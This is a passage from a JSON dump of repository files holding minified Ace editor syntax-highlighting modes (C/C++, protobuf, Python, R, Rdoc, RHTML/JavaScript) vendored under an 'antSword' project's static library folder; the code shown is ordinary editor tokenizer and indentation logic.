i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/protobuf_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"double|float|int32|int64|uint32|uint64|sint32|sint64|fixed32|fixed64|sfixed32|sfixed64|bool|string|bytes\",t=\"message|required|optional|repeated|package|import|option|enum\",n=this.createKeywordMapper({\"keyword.declaration.protobuf\":t,\"support.type\":e},\"identifier\");this.$rules={start:[{token:\"comment\",regex:/\\/\\/.*$/},{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"constant\",regex:\"<[^>]+>\"},{regex:\"=\",token:\"keyword.operator.assignment.protobuf\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:n,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(s,i),t.ProtobufHighlightRules=s}),ace.define(\"ace/mode/protobuf\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp\",\"ace/mode/protobuf_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp\").Mode,s=e(\"./protobuf_highlight_rules\").ProtobufHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){i.call(this),this.foldingRules=new o,this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/protobuf\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-python.js",
    "content": "ace.define(\"ace/mode/python_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"and|as|assert|break|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|not|or|pass|print|raise|return|try|while|with|yield\",t=\"True|False|None|NotImplemented|Ellipsis|__debug__\",n=\"abs|divmod|input|open|staticmethod|all|enumerate|int|ord|str|any|eval|isinstance|pow|sum|basestring|execfile|issubclass|print|super|binfile|iter|property|tuple|bool|filter|len|range|type|bytearray|float|list|raw_input|unichr|callable|format|locals|reduce|unicode|chr|frozenset|long|reload|vars|classmethod|getattr|map|repr|xrange|cmp|globals|max|reversed|zip|compile|hasattr|memoryview|round|__import__|complex|hash|min|set|apply|delattr|help|next|setattr|buffer|dict|hex|object|slice|coerce|dir|id|oct|sorted|intern\",r=this.createKeywordMapper({\"invalid.deprecated\":\"debugger\",\"support.function\":n,\"constant.language\":t,keyword:e},\"identifier\"),i=\"(?:r|u|ur|R|U|UR|Ur|uR)?\",s=\"(?:(?:[1-9]\\\\d*)|(?:0))\",o=\"(?:0[oO]?[0-7]+)\",u=\"(?:0[xX][\\\\dA-Fa-f]+)\",a=\"(?:0[bB][01]+)\",f=\"(?:\"+s+\"|\"+o+\"|\"+u+\"|\"+a+\")\",l=\"(?:[eE][+-]?\\\\d+)\",c=\"(?:\\\\.\\\\d+)\",h=\"(?:\\\\d+)\",p=\"(?:(?:\"+h+\"?\"+c+\")|(?:\"+h+\"\\\\.))\",d=\"(?:(?:\"+p+\"|\"+h+\")\"+l+\")\",v=\"(?:\"+d+\"|\"+p+\")\",m=\"\\\\\\\\(x[0-9A-Fa-f]{2}|[0-7]{3}|[\\\\\\\\abfnrtv'\\\"]|U[0-9A-Fa-f]{8}|u[0-9A-Fa-f]{4})\";this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"string\",regex:i+'\"{3}',next:\"qqstring3\"},{token:\"string\",regex:i+'\"(?=.)',next:\"qqstring\"},{token:\"string\",regex:i+\"'{3}\",next:\"qstring3\"},{token:\"string\",regex:i+\"'(?=.)\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"(?:\"+v+\"|\\\\d+)[jJ]\\\\b\"},{token:\"constant.numeric\",regex:v},{token:\"constant.numeric\",regex:f+\"[lL]\\\\b\"},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|%|<<|>>|&|\\\\||\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring3:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:'\"{3}',next:\"start\"},{defaultToken:\"string\"}],qstring3:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"'{3}\",next:\"start\"},{defaultToken:\"string\"}],qqstring:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.PythonHighlightRules=s}),ace.define(\"ace/mode/folding/pythonic\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e){this.foldingStartMarker=new RegExp(\"([\\\\[{])(?:\\\\s*)$|(\"+e+\")(?:\\\\s*)(?:#.*)?$\")};r.inherits(s,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=e.getLine(n),i=r.match(this.foldingStartMarker);if(i)return i[1]?this.openingBracketBlock(e,i[1],n,i.index):i[2]?this.indentationBlock(e,n,i.index+i[2].length):this.indentationBlock(e,n)}}.call(s.prototype)}),ace.define(\"ace/mode/python\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/python_highlight_rules\",\"ace/mode/folding/pythonic\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./python_highlight_rules\").PythonHighlightRules,o=e(\"./folding/pythonic\").FoldMode,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.foldingRules=new o(\"\\\\:\")};r.inherits(a,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r};var e={pass:1,\"return\":1,raise:1,\"break\":1,\"continue\":1};this.checkOutdent=function(t,n,r){if(r!==\"\\r\\n\"&&r!==\"\\r\"&&r!==\"\\n\")return!1;var i=this.getTokenizer().getLineTokens(n.trim(),t).tokens;if(!i)return!1;do var s=i.pop();while(s&&(s.type==\"comment\"||s.type==\"text\"&&s.value.match(/^\\s+$/)));return s?s.type==\"keyword\"&&e[s.value]:!1},this.autoOutdent=function(e,t,n){n+=1;var r=this.$getIndent(t.getLine(n)),i=t.getTabString();r.slice(-i.length)==i&&t.remove(new u(n,r.length-i.length,n,r.length))},this.$id=\"ace/mode/python\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-r.js",
    "content": "ace.define(\"ace/mode/tex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){e||(e=\"text\"),this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\",next:\"nospell\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:e,regex:\"\\\\s+\"}],nospell:[{token:\"comment\",regex:\"%.*$\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\",next:\"start\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])]\"},{token:\"paren.keyword.operator\",regex:\"}\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\s+\"},{token:\"nospell.\"+e,regex:\"\\\\w+\"}]}};r.inherits(o,s),t.TexHighlightRules=o}),ace.define(\"ace/mode/r_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/tex_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./tex_highlight_rules\").TexHighlightRules,u=function(){var e=i.arrayToMap(\"function|if|in|break|next|repeat|else|for|return|switch|while|try|tryCatch|stop|warning|require|library|attach|detach|source|setMethod|setGeneric|setGroupGeneric|setClass\".split(\"|\")),t=i.arrayToMap(\"NULL|NA|TRUE|FALSE|T|F|Inf|NaN|NA_integer_|NA_real_|NA_character_|NA_complex_\".split(\"|\"));this.$rules={start:[{token:\"comment.sectionhead\",regex:\"#+(?!').*(?:----|====|####)\\\\s*$\"},{token:\"comment\",regex:\"#+'\",next:\"rd-start\"},{token:\"comment\",regex:\"#.*$\"},{token:\"string\",regex:'[\"]',next:\"qqstring\"},{token:\"string\",regex:\"[']\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+[Li]?\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\d+L\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\d+(?:\\\\.\\\\d*)?(?:[eE][+\\\\-]?\\\\d*)?i?\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\.\\\\d+(?:[eE][+\\\\-]?\\\\d*)?i?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:TRUE|FALSE|T|F)\\\\b\"},{token:\"identifier\",regex:\"`.*?`\"},{onMatch:function(n){return e[n]?\"keyword\":t[n]?\"constant.language\":n==\"...\"||n.match(/^\\.\\.\\d+$/)?\"variable.language\":\"identifier\"},regex:\"[a-zA-Z.][a-zA-Z0-9._]*\\\\b\"},{token:\"keyword.operator\",regex:\"%%|>=|<=|==|!=|\\\\->|<\\\\-|\\\\|\\\\||&&|=|\\\\+|\\\\-|\\\\*|/|\\\\^|>|<|!|&|\\\\||~|\\\\$|:\"},{token:\"keyword.operator\",regex:\"%.*?%\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]};var n=(new o(\"comment\")).getRules();for(var r=0;r<n.start.length;r++)n.start[r].token+=\".virtual-comment\";this.addRules(n,\"rd-\"),this.$rules[\"rd-start\"].unshift({token:\"text\",regex:\"^\",next:\"start\"}),this.$rules[\"rd-start\"].unshift({token:\"keyword\",regex:\"@(?!@)[^ ]*\"}),this.$rules[\"rd-start\"].unshift({token:\"comment\",regex:\"@@\"}),this.$rules[\"rd-start\"].push({token:\"comment\",regex:\"[^%\\\\\\\\[({\\\\])}]+\"})};r.inherits(u,s),t.RHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/r\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/r_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/unicode\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../lib/oop\"),s=e(\"./text\").Mode,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./r_highlight_rules\").RHighlightRules,a=e(\"./matching_brace_outdent\").MatchingBraceOutdent,f=e(\"../unicode\"),l=function(){this.HighlightRules=u,this.$outdent=new a};i.inherits(l,s),function(){this.lineCommentStart=\"#\",this.$id=\"ace/mode/r\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-rdoc.js",
    "content": "ace.define(\"ace/mode/latex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:[\"keyword\",\"lparen\",\"variable.parameter\",\"rparen\",\"lparen\",\"storage.type\",\"rparen\"],regex:\"(\\\\\\\\(?:documentclass|usepackage|input))(?:(\\\\[)([^\\\\]]*)(\\\\]))?({)([^}]*)(})\"},{token:[\"keyword\",\"lparen\",\"variable.parameter\",\"rparen\"],regex:\"(\\\\\\\\(?:label|v?ref|cite(?:[^{]*)))(?:({)([^}]*)(}))?\"},{token:[\"storage.type\",\"lparen\",\"variable.parameter\",\"rparen\"],regex:\"(\\\\\\\\(?:begin|end))({)(\\\\w*)(})\"},{token:\"storage.type\",regex:\"\\\\\\\\[a-zA-Z]+\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"constant.character.escape\",regex:\"\\\\\\\\[^a-zA-Z]?\"},{token:\"string\",regex:\"\\\\${1,2}\",next:\"equation\"}],equation:[{token:\"comment\",regex:\"%.*$\"},{token:\"string\",regex:\"\\\\${1,2}\",next:\"start\"},{token:\"constant.character.escape\",regex:\"\\\\\\\\(?:[^a-zA-Z]|[a-zA-Z]+)\"},{token:\"error\",regex:\"^\\\\s*$\",next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.LatexHighlightRules=s}),ace.define(\"ace/mode/rdoc_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/latex_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./latex_highlight_rules\"),u=function(){this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:\"text\",regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:name|alias|method|S3method|S4method|item|code|preformatted|kbd|pkg|var|env|option|command|author|email|url|source|cite|acronym|href|code|preformatted|link|eqn|deqn|keyword|usage|examples|dontrun|dontshow|figure|if|ifelse|Sexpr|RdOpts|inputencoding|usepackage)\\\\b\",next:\"nospell\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],nospell:[{token:\"comment\",regex:\"%.*$\",next:\"start\"},{token:\"nospell.text\",regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:name|alias|method|S3method|S4method|item|code|preformatted|kbd|pkg|var|env|option|command|author|email|url|source|cite|acronym|href|code|preformatted|link|eqn|deqn|keyword|usage|examples|dontrun|dontshow|figure|if|ifelse|Sexpr|RdOpts|inputencoding|usepackage)\\\\b\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\",next:\"start\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])]\"},{token:\"paren.keyword.operator\",regex:\"}\",next:\"start\"},{token:\"nospell.text\",regex:\"\\\\s+\"},{token:\"nospell.text\",regex:\"\\\\w+\"}]}};r.inherits(u,s),t.RDocHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/rdoc\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/rdoc_highlight_rules\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./rdoc_highlight_rules\").RDocHighlightRules,u=e(\"./matching_brace_outdent\").MatchingBraceOutdent,a=function(e){this.HighlightRules=o,this.$outdent=new u};r.inherits(a,i),function(){this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.$id=\"ace/mode/rdoc\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-rhtml.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.con